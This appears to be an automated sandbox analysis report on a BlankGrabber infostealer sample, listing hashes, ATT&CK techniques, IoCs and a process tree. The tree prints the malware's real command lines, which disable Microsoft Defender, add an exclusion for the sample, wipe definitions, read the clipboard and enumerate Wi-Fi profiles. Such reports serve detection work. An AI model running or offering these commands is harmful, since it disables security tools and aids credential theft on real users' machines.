blankgrabber | 641c9236b81fe3cf6871ff01d6d73d8254cafdcfb5d87c27123c7537c9af5be3

Analysis

max time kernel
149s
max time network
93s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/04/2026, 04:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
Size 7.5MB
Sample260422-e1yg1scy2x
SHA256 641c9236b81fe3cf6871ff01d6d73d8254cafdcfb5d87c27123c7537c9af5be3
MD5 54ceef5df4bd603ea1516d99ce12d4d3
SHA1 1cd931c564cd250b67bf56eb200d8d5ce64ccf30
SHA512 d7a39f6470148de2bf502c7d591c3620b315b528b50fd4533b91d90f7a084b5f7ec1c4b8517ea63a277f0de87f44734e96343d944d8e85885684f31dec598155
SSDEEP 98304:IEeYgI6OshoKyDvuIYc5AhV+gEc4kZvRLoI0EJfNA3z5UTb0Zv9JTSPhlVtQo1f8:IxYmOshoKMuIkhVastRL5Di3tKQSPJ8
TLSH
T1E2763301A3A45CEAF841953EC6CAC556D7337A5623E0D58B079887B20F272AE4C3BF57
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution blankgrabber persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Family: blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
stealer blankgrabber

Detects BlankGrabber stealer in memory 1 IoCs

resource	yara_rule
behavioral2/memory/2036-287-0x000002D8444D0000-0x000002D8449F0000-memory.dmp	blankgrabber_dmp

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4012	powershell.exe
3020	powershell.exe
3540	powershell.exe
1156	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4012	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5116	cmd.exe
1780	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3380	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
4	discord.com
1	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
4264	tasklist.exe
2156	tasklist.exe
3736	tasklist.exe

UPX packed file 54 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001900000002b236-21.dat	upx
behavioral2/memory/2036-25-0x00007FFCFD700000-0x00007FFCFDCE9000-memory.dmp	upx
behavioral2/files/0x001b00000002b1e9-27.dat	upx
behavioral2/memory/2036-33-0x00007FFD15B00000-0x00007FFD15B0F000-memory.dmp	upx
behavioral2/memory/2036-32-0x00007FFD118D0000-0x00007FFD118F3000-memory.dmp	upx
behavioral2/files/0x001900000002b234-30.dat	upx
behavioral2/files/0x001900000002b22e-38.dat	upx
behavioral2/memory/2036-40-0x00007FFD11690000-0x00007FFD116BD000-memory.dmp	upx
behavioral2/files/0x002d00000002b1e3-41.dat	upx
behavioral2/memory/2036-43-0x00007FFD12430000-0x00007FFD12449000-memory.dmp	upx
behavioral2/files/0x001900000002b231-44.dat	upx
behavioral2/memory/2036-46-0x00007FFD10760000-0x00007FFD10783000-memory.dmp	upx
behavioral2/files/0x001900000002b239-47.dat	upx
behavioral2/memory/2036-49-0x00007FFD0C410000-0x00007FFD0C587000-memory.dmp	upx
behavioral2/files/0x001900000002b230-51.dat	upx
behavioral2/files/0x001900000002b232-56.dat	upx
behavioral2/files/0x001900000002b235-59.dat	upx
behavioral2/files/0x001900000002b233-61.dat	upx
behavioral2/memory/2036-64-0x00007FFD0CBB0000-0x00007FFD0CC7D000-memory.dmp	upx
behavioral2/memory/2036-63-0x00007FFCFD700000-0x00007FFCFDCE9000-memory.dmp	upx
behavioral2/memory/2036-55-0x00007FFD118C0000-0x00007FFD118CD000-memory.dmp	upx
behavioral2/memory/2036-54-0x00007FFD120E0000-0x00007FFD120F9000-memory.dmp	upx
behavioral2/files/0x001500000002b238-53.dat	upx
behavioral2/files/0x001900000002b22f-68.dat	upx
behavioral2/files/0x001a00000002b201-66.dat	upx
behavioral2/memory/2036-73-0x00007FFD10740000-0x00007FFD10754000-memory.dmp	upx
behavioral2/files/0x001900000002b23a-75.dat	upx
behavioral2/memory/2036-76-0x00007FFD0BDF0000-0x00007FFD0BF0C000-memory.dmp	upx
behavioral2/memory/2036-77-0x00007FFD118D0000-0x00007FFD118F3000-memory.dmp	upx
behavioral2/memory/2036-72-0x00007FFD0CEA0000-0x00007FFD0CED3000-memory.dmp	upx
behavioral2/memory/2036-71-0x00007FFD118B0000-0x00007FFD118BD000-memory.dmp	upx
behavioral2/memory/2036-69-0x00007FFCFD1E0000-0x00007FFCFD700000-memory.dmp	upx
behavioral2/memory/2036-94-0x00007FFD11690000-0x00007FFD116BD000-memory.dmp	upx
behavioral2/memory/2036-211-0x00007FFD10760000-0x00007FFD10783000-memory.dmp	upx
behavioral2/memory/2036-247-0x00007FFD0C410000-0x00007FFD0C587000-memory.dmp	upx
behavioral2/memory/2036-273-0x00007FFD120E0000-0x00007FFD120F9000-memory.dmp	upx
behavioral2/memory/2036-274-0x00007FFCFD1E0000-0x00007FFCFD700000-memory.dmp	upx
behavioral2/memory/2036-286-0x00007FFD0CBB0000-0x00007FFD0CC7D000-memory.dmp	upx
behavioral2/memory/2036-299-0x00007FFD0CEA0000-0x00007FFD0CED3000-memory.dmp	upx
behavioral2/memory/2036-312-0x00007FFCFD700000-0x00007FFCFDCE9000-memory.dmp	upx
behavioral2/memory/2036-336-0x00007FFD0CBB0000-0x00007FFD0CC7D000-memory.dmp	upx
behavioral2/memory/2036-340-0x00007FFD0BDF0000-0x00007FFD0BF0C000-memory.dmp	upx
behavioral2/memory/2036-339-0x00007FFCFD1E0000-0x00007FFCFD700000-memory.dmp	upx
behavioral2/memory/2036-338-0x00007FFD118B0000-0x00007FFD118BD000-memory.dmp	upx
behavioral2/memory/2036-337-0x00007FFD10740000-0x00007FFD10754000-memory.dmp	upx
behavioral2/memory/2036-335-0x00007FFD0CEA0000-0x00007FFD0CED3000-memory.dmp	upx
behavioral2/memory/2036-334-0x00007FFD120E0000-0x00007FFD120F9000-memory.dmp	upx
behavioral2/memory/2036-333-0x00007FFD0C410000-0x00007FFD0C587000-memory.dmp	upx
behavioral2/memory/2036-332-0x00007FFD10760000-0x00007FFD10783000-memory.dmp	upx
behavioral2/memory/2036-331-0x00007FFD12430000-0x00007FFD12449000-memory.dmp	upx
behavioral2/memory/2036-330-0x00007FFD11690000-0x00007FFD116BD000-memory.dmp	upx
behavioral2/memory/2036-329-0x00007FFD118C0000-0x00007FFD118CD000-memory.dmp	upx
behavioral2/memory/2036-328-0x00007FFD118D0000-0x00007FFD118F3000-memory.dmp	upx
behavioral2/memory/2036-327-0x00007FFD15B00000-0x00007FFD15B0F000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1496	cmd.exe
3328	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1700	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4460	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1156	powershell.exe
4012	powershell.exe
4012	powershell.exe
1156	powershell.exe
1780	powershell.exe
1780	powershell.exe
1448	powershell.exe
1448	powershell.exe
1780	powershell.exe
1448	powershell.exe
3020	powershell.exe
3020	powershell.exe
4372	powershell.exe
4372	powershell.exe
3540	powershell.exe
3540	powershell.exe
1740	powershell.exe
1740	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeDebugPrivilege	4264	tasklist.exe
Token: SeDebugPrivilege	3736	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1028	WMIC.exe
Token: SeSecurityPrivilege	1028	WMIC.exe
Token: SeTakeOwnershipPrivilege	1028	WMIC.exe
Token: SeLoadDriverPrivilege	1028	WMIC.exe
Token: SeSystemProfilePrivilege	1028	WMIC.exe
Token: SeSystemtimePrivilege	1028	WMIC.exe
Token: SeProfSingleProcessPrivilege	1028	WMIC.exe
Token: SeIncBasePriorityPrivilege	1028	WMIC.exe
Token: SeCreatePagefilePrivilege	1028	WMIC.exe
Token: SeBackupPrivilege	1028	WMIC.exe
Token: SeRestorePrivilege	1028	WMIC.exe
Token: SeShutdownPrivilege	1028	WMIC.exe
Token: SeDebugPrivilege	1028	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1028	WMIC.exe
Token: SeRemoteShutdownPrivilege	1028	WMIC.exe
Token: SeUndockPrivilege	1028	WMIC.exe
Token: SeManageVolumePrivilege	1028	WMIC.exe
Token: 33	1028	WMIC.exe
Token: 34	1028	WMIC.exe
Token: 35	1028	WMIC.exe
Token: 36	1028	WMIC.exe
Token: SeDebugPrivilege	2156	tasklist.exe
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeIncreaseQuotaPrivilege	1028	WMIC.exe
Token: SeSecurityPrivilege	1028	WMIC.exe
Token: SeTakeOwnershipPrivilege	1028	WMIC.exe
Token: SeLoadDriverPrivilege	1028	WMIC.exe
Token: SeSystemProfilePrivilege	1028	WMIC.exe
Token: SeSystemtimePrivilege	1028	WMIC.exe
Token: SeProfSingleProcessPrivilege	1028	WMIC.exe
Token: SeIncBasePriorityPrivilege	1028	WMIC.exe
Token: SeCreatePagefilePrivilege	1028	WMIC.exe
Token: SeBackupPrivilege	1028	WMIC.exe
Token: SeRestorePrivilege	1028	WMIC.exe
Token: SeShutdownPrivilege	1028	WMIC.exe
Token: SeDebugPrivilege	1028	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1028	WMIC.exe
Token: SeRemoteShutdownPrivilege	1028	WMIC.exe
Token: SeUndockPrivilege	1028	WMIC.exe
Token: SeManageVolumePrivilege	1028	WMIC.exe
Token: 33	1028	WMIC.exe
Token: 34	1028	WMIC.exe
Token: 35	1028	WMIC.exe
Token: 36	1028	WMIC.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	3020	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeIncreaseQuotaPrivilege	3908	WMIC.exe
Token: SeSecurityPrivilege	3908	WMIC.exe
Token: SeTakeOwnershipPrivilege	3908	WMIC.exe
Token: SeLoadDriverPrivilege	3908	WMIC.exe
Token: SeSystemProfilePrivilege	3908	WMIC.exe
Token: SeSystemtimePrivilege	3908	WMIC.exe
Token: SeProfSingleProcessPrivilege	3908	WMIC.exe
Token: SeIncBasePriorityPrivilege	3908	WMIC.exe
Token: SeCreatePagefilePrivilege	3908	WMIC.exe
Token: SeBackupPrivilege	3908	WMIC.exe
Token: SeRestorePrivilege	3908	WMIC.exe
Token: SeShutdownPrivilege	3908	WMIC.exe
Token: SeDebugPrivilege	3908	WMIC.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 912 wrote to memory of 2036	912	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	80
PID 2036 wrote to memory of 4368	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	81
PID 2036 wrote to memory of 2804	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	82
PID 2036 wrote to memory of 1744	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	84
PID 4368 wrote to memory of 1156	4368	cmd.exe	87
PID 2804 wrote to memory of 4012	2804	cmd.exe	88
PID 1744 wrote to memory of 1756	1744	cmd.exe	89
PID 2036 wrote to memory of 2456	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	90
PID 2036 wrote to memory of 1788	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	91
PID 2456 wrote to memory of 3736	2456	cmd.exe	94
PID 1788 wrote to memory of 4264	1788	cmd.exe	95
PID 2036 wrote to memory of 4864	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	96
PID 2036 wrote to memory of 5116	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	99
PID 2036 wrote to memory of 2012	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	101
PID 2036 wrote to memory of 1760	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	103
PID 2036 wrote to memory of 1496	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	105
PID 2036 wrote to memory of 876	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	107
PID 2036 wrote to memory of 4660	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	108
PID 4864 wrote to memory of 1028	4864	cmd.exe	110
PID 2012 wrote to memory of 2156	2012	cmd.exe	112
PID 1496 wrote to memory of 3328	1496	cmd.exe	113
PID 5116 wrote to memory of 1780	5116	cmd.exe	114
PID 1760 wrote to memory of 1232	1760	cmd.exe	115
PID 876 wrote to memory of 4460	876	cmd.exe	116
PID 4660 wrote to memory of 1448	4660	cmd.exe	117
PID 2036 wrote to memory of 3436	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	118
PID 3436 wrote to memory of 3828	3436	cmd.exe	120
PID 2036 wrote to memory of 1180	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	121
PID 1180 wrote to memory of 3212	1180	cmd.exe	123
PID 2036 wrote to memory of 3664	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	124
PID 1448 wrote to memory of 1696	1448	powershell.exe	126
PID 3664 wrote to memory of 2716	3664	cmd.exe	144
PID 2036 wrote to memory of 2520	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	128
PID 1696 wrote to memory of 772	1696	csc.exe	130
PID 2520 wrote to memory of 3824	2520	cmd.exe	131
PID 2036 wrote to memory of 4300	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	132
PID 4300 wrote to memory of 2768	4300	cmd.exe	134
PID 2036 wrote to memory of 4424	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	136
PID 4424 wrote to memory of 3020	4424	cmd.exe	138
PID 2036 wrote to memory of 2220	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	139
PID 2220 wrote to memory of 4372	2220	cmd.exe	141
PID 2036 wrote to memory of 916	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	142
PID 916 wrote to memory of 2716	916	cmd.exe	144
PID 2036 wrote to memory of 4484	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	145
PID 4484 wrote to memory of 3380	4484	cmd.exe	147
PID 2036 wrote to memory of 2876	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	148
PID 2876 wrote to memory of 3908	2876	cmd.exe	150
PID 2036 wrote to memory of 2396	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	151
PID 2396 wrote to memory of 2024	2396	cmd.exe	153
PID 2036 wrote to memory of 4396	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	154
PID 4396 wrote to memory of 3884	4396	cmd.exe	156
PID 2036 wrote to memory of 4012	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	157
PID 4012 wrote to memory of 3540	4012	cmd.exe	159
PID 2036 wrote to memory of 1616	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	160
PID 1616 wrote to memory of 1700	1616	cmd.exe	162
PID 2036 wrote to memory of 3404	2036	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	163
PID 3404 wrote to memory of 1740	3404	cmd.exe	165

C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:912
- C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Le logiciel n\x22a pas pu etre démarrer ', 0, 'AVERTISSEMENT', 0+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1744
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Le logiciel n\x22a pas pu etre démarrer ', 0, 'AVERTISSEMENT', 0+16);close()"
      4⤵
      PID:1756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2456
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1788
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4864
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:5116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2012
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1760
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1496
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:876
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4460
- - C:\Windows\system32\cmd.exe
